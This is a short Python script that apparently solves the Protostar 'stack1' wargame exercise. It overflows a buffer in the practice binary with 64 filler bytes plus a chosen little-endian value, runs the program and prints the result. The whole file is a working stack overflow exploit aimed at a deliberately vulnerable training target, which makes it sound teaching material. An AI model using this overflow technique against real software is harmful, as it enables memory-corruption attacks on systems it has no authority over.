#!/usr/bin/python

import subprocess
import sys
import struct

# return the little endian byte ordering for x
def p32(x):
	return struct.pack('<I',x)

payload = "A" * 64 + p32(0x61626364)

p = subprocess.Popen(["/opt/protostar/bin/stack1",payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
print p.communicate()[0]
